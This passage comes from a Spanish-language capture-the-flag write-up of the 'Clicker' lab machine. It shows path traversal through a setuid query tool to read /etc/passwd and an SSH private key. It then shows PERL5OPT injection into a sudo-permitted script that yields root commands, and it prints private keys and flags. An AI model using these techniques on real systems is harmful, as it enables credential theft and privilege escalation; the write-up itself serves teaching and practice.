                strncpy(sqlFileName, "populate.sql", 0x14);
                break;
            case 3:
                strncpy(sqlFileName, "reset_password.sql", 0x14);
                break;
            case 4:
                strncpy(sqlFileName, "clean.sql", 0x14);
                break;
            default:
                strncpy(sqlFileName, argv[2], 0x14);
        }

        // Define constants for directory and file names
        const char *directoryPrefix = "/home/user1/";
        const char *fileExtension = ".sql";

        // Calculate the total length for the destination string
        size_t directoryLength = strlen(directoryPrefix);
        size_t fileNameLength = strlen(sqlFileName);
        size_t extensionLength = strlen(fileExtension);
        size_t totalLength = directoryLength + fileNameLength + extensionLength;

        // Allocate memory for the destination string
        char *destination = (char *)calloc(totalLength + 1, 1);

        // Construct the destination path by concatenating directory, file name, and extension
        strcat(destination, directoryPrefix);
        strcat(destination, sqlFileName);
        strcat(destination, fileExtension);

        // Change the effective user and group ID to 1000 (assuming this is allowed)
        setreuid(1000, 1000);

        // Check if the file at the destination path is readable
        if (access(destination, R_OK) == 0) {
            // Define a prefix for the system command
            const char *systemCommandPrefix = "/bin/sh -c '";
            
            // Calculate the total length for the system command string
            size_t commandPrefixLength = strlen(systemCommandPrefix);
            size_t destinationLength = strlen(destination);
            size_t systemCommandLength = commandPrefixLength + destinationLength + 3; // 3 for the closing single quote and space

            // Allocate memory for the system command string
            char *systemCommand = (char *)calloc(systemCommandLength + 1, 1);

            // Construct the system command by concatenating the prefix and destination
            strcat(systemCommand, systemCommandPrefix);
            strcat(systemCommand, destination);
            strcat(systemCommand, "'");

            // Execute the system command
            system(systemCommand);
        } else {
            printf("File not readable or not found\n");
        }
    }

    // Return the exit code
    return exitCode;
}

Nuestra ejecucion quedaria: ./execute_query 5 archivo.ext, agregamos el numero 5 ya que verifica que el primer argumento sea un entero.

Intentamos acceder a /etc/passwd agregando ../ por cada ejecucion hasta lograr acceder al archivo y observar su contenido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$ ./execute_query 5 ../../../etc/passwd
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
jack:x:1000:1000:jack:/home/jack:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
_rpc:x:115:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:116:65534::/var/lib/nfs:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
--------------

ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
' at line 1
$ 

Realizamos la lectura de la clave privada de jack.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
bash-5.1$ /opt/manage/execute_query 5 '../.ssh/id_rsa'
/opt/manage/execute_query 5 '../.ssh/id_rsa'
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
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
-----END OPENSSH PRIVATE KEY---
--------------

ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1
bash-5.1$

A la clave le hacen falta dos guiones (-), tras agregarlos logramos acceder como jack y obtener la lectura de la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 π ~/htb/clicker/tmp ❯ chmod 600 jack_id_rsa 
 π ~/htb/clicker/tmp ❯ ssh jack@clicker.htb -i jack_id_rsa 
The authenticity of host 'clicker.htb (10.10.11.232)' can't be established.
ED25519 key fingerprint is SHA256:OAOlD4te1rIAd/MBDNbXq9MuDWSFoc6Jc3eaBCC5u7o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'clicker.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Oct 20 10:50:52 PM UTC 2023

  System load:           0.0
  Usage of /:            54.6% of 5.77GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             268
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.232
  IPv6 address for eth0: dead:beef::250:56ff:feb9:881

  => There is 1 zombie process.


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Oct 20 12:29:24 2023 from 10.10.14.54
-bash-5.1$ whoami;id;pwd
jack
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
/home/jack
-bash-5.1$ ls
queries  user.txt
-bash-5.1$ cat user.txt
95bccf34c3687864a38ef2cb4f334465
-bash-5.1$

Privesc

Jack puede ejecutar /opt/monitor.sh como root y ademas manipular las variables de entorno.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
-bash-5.1$ sudo -l -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Commands:
    ALL

Sudoers entry:
    RunAsUsers: root
    Options: setenv, !authenticate
    Commands:
    /opt/monitor.sh
-bash-5.1$

Observamos que el script hace una solicitud al sitio web, y la informacion devuelta la pasa a xml_pp, al finalizar guarda lo retornado en un archivo xml en el directorio root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# /opt/monitor.sh

#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

Tras ejecutar el script vemos que devuelve informacion en XML.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-bash-5.1$ sudo /opt/monitor.sh
<?xml version="1.0"?>
<data>
  <timestamp>1697842366</timestamp>
  <date>2023/10/20 10:52:46pm</date>
  <php-version>8.1.2-1ubuntu2.14</php-version>
  <test-connection-db>OK</test-connection-db>
  <memory-usage>392704</memory-usage>
  <environment>
    <APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
    <SYSTEMD_EXEC_PID>1163</SYSTEMD_EXEC_PID>
    <APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
    <JOURNAL_STREAM>8:27130</JOURNAL_STREAM>
    <PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
    <INVOCATION_ID>0ddb6200ab8a43f4adf5d32eabc6a149</INVOCATION_ID>
    <APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
    <LANG>C</LANG>
    <APACHE_RUN_USER>www-data</APACHE_RUN_USER>
    <APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
    <APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
    <PWD>/</PWD>
  </environment>
</data>
-bash-5.1$

Si observamos el codigo de diagnostic.php, muestra que devuelve informacion de funciones ya definidas por PHP, por lo que no es posible modificar ningun valor existente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// [..]
try {
    $pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
} catch(PDOException $ex){
    $connection_test = "KO";
}
$data=[];
$data["timestamp"] = time();
$data["date"] = date("Y/m/d h:i:sa");
$data["php-version"] = phpversion();
$data["test-connection-db"] = $connection_test;
$data["memory-usage"] = memory_get_usage();
$env = getenv();
$data["environment"] = $env;

// [..]

Por lo que volvimos al script ejecutado donde observamos variables que pertenecen a PERL siendo eliminadas, al realizar una busqueda encontramos que es posible ejecutar codigo perl por medio de la variable PERL5OPT.

Vemos que tras la ejecucion de id el resultado se muestra en pantalla.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
-bash-5.1$ sudo PERL5OPT='-Mbase;print(`id`)' /opt/monitor.sh
uid=0(root) gid=0(root) groups=0(root)
<?xml version="1.0"?>
<data>
  <timestamp>1697845295</timestamp>
  <date>2023/10/20 11:41:35pm</date>
  <php-version>8.1.2-1ubuntu2.14</php-version>
  <test-connection-db>OK</test-connection-db>
  <memory-usage>392704</memory-usage>
  <environment>
    <APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
    <SYSTEMD_EXEC_PID>1163</SYSTEMD_EXEC_PID>
    <APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
    <JOURNAL_STREAM>8:27130</JOURNAL_STREAM>
    <PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
    <INVOCATION_ID>0ddb6200ab8a43f4adf5d32eabc6a149</INVOCATION_ID>
    <APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
    <LANG>C</LANG>
    <APACHE_RUN_USER>www-data</APACHE_RUN_USER>
    <APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
    <APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
    <PWD>/</PWD>
  </environment>
</data>
-bash-5.1$

Cambiamos print por system() que tambien nos permite la ejecucion de comandos, observamos que existe una clave privada SSH de root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
-bash-5.1$ sudo PERL5OPT='-Mbase;system("ls","-lah","/root/.ssh")' /opt/monitor.sh
total 20K
drwx------ 2 root root 4.0K Sep  6 12:36 .
drwx------ 7 root root 4.0K Sep  6 12:40 ..
-rw-r--r-- 1 root root  566 Sep  6 12:36 authorized_keys
-rw------- 1 root root 2.6K Sep  6 12:31 id_rsa
-rw-r--r-- 1 root root  566 Sep  6 12:31 id_rsa.pub
<?xml version="1.0"?>
<data>
  <timestamp>1697845723</timestamp>
  <date>2023/10/20 11:48:43pm</date>
  <php-version>8.1.2-1ubuntu2.14</php-version>
  <test-connection-db>OK</test-connection-db>
  <memory-usage>392704</memory-usage>
  <environment>
    <APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
    <SYSTEMD_EXEC_PID>1163</SYSTEMD_EXEC_PID>
    <APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
    <JOURNAL_STREAM>8:27130</JOURNAL_STREAM>
    <PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
    <INVOCATION_ID>0ddb6200ab8a43f4adf5d32eabc6a149</INVOCATION_ID>
    <APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
    <LANG>C</LANG>
    <APACHE_RUN_USER>www-data</APACHE_RUN_USER>
    <APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
    <APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
    <PWD>/</PWD>
  </environment>
</data>
-bash-5.1$

Obtuvimos el contenido de esta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
-bash-5.1$ sudo PERL5OPT='-Mbase;system("cat","/root/.ssh/id_rsa")' /opt/monitor.sh
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
<?xml version="1.0"?>
<data>
  <timestamp>1697845786</timestamp>
  <date>2023/10/20 11:49:46pm</date>
  <php-version>8.1.2-1ubuntu2.14</php-version>
  <test-connection-db>OK</test-connection-db>
  <memory-usage>392704</memory-usage>
  <environment>
    <APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
    <SYSTEMD_EXEC_PID>1163</SYSTEMD_EXEC_PID>
    <APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
    <JOURNAL_STREAM>8:27130</JOURNAL_STREAM>
    <PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
    <INVOCATION_ID>0ddb6200ab8a43f4adf5d32eabc6a149</INVOCATION_ID>
    <APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
    <LANG>C</LANG>
    <APACHE_RUN_USER>www-data</APACHE_RUN_USER>
    <APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
    <APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
    <PWD>/</PWD>
  </environment>
</data>
-bash-5.1$ 

Accedimos por SSH con la clave privada logrando obtener root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
-bash-5.1$ nano root
-bash-5.1$ chmod 600 root
-bash-5.1$ ssh -i root root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:OAOlD4te1rIAd/MBDNbXq9MuDWSFoc6Jc3eaBCC5u7o.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Oct 20 11:02:08 PM UTC 2023

  System load:           0.14306640625
  Usage of /:            54.6% of 5.77GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             270
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.232
  IPv6 address for eth0: dead:beef::250:56ff:feb9:881

  => There is 1 zombie process.


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@clicker:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@clicker:~# ls -lah
total 40K
drwx------  7 root root 4.0K Sep  6 12:40 .
drwxr-xr-x 18 root root 4.0K Sep  5 19:19 ..
lrwxrwxrwx  1 root root    9 Sep  5 18:46 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Oct 15  2021 .bashrc
drwx------  2 root root 4.0K Feb 25  2023 .cache
drwxr-xr-x  2 root root 4.0K Oct 20 23:49 diagnostic_files
drwxr-xr-x  3 root root 4.0K Feb 25  2023 .local
lrwxrwxrwx  1 root root    9 Sep  6 12:30 .mysql_history -> /dev/null
-rw-r--r--  1 root root  193 Feb 27  2023 .profile
drwxr-xr-x  2 root root 4.0K Sep  5 19:19 restore
-rw-r-----  1 root root   33 Oct 20 05:49 root.txt
drwx------  2 root root 4.0K Sep  6 12:36 .ssh
root@clicker:~# cat root.txt
42f1c5327ac599d1e19da78a6f56bc65
root@clicker:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe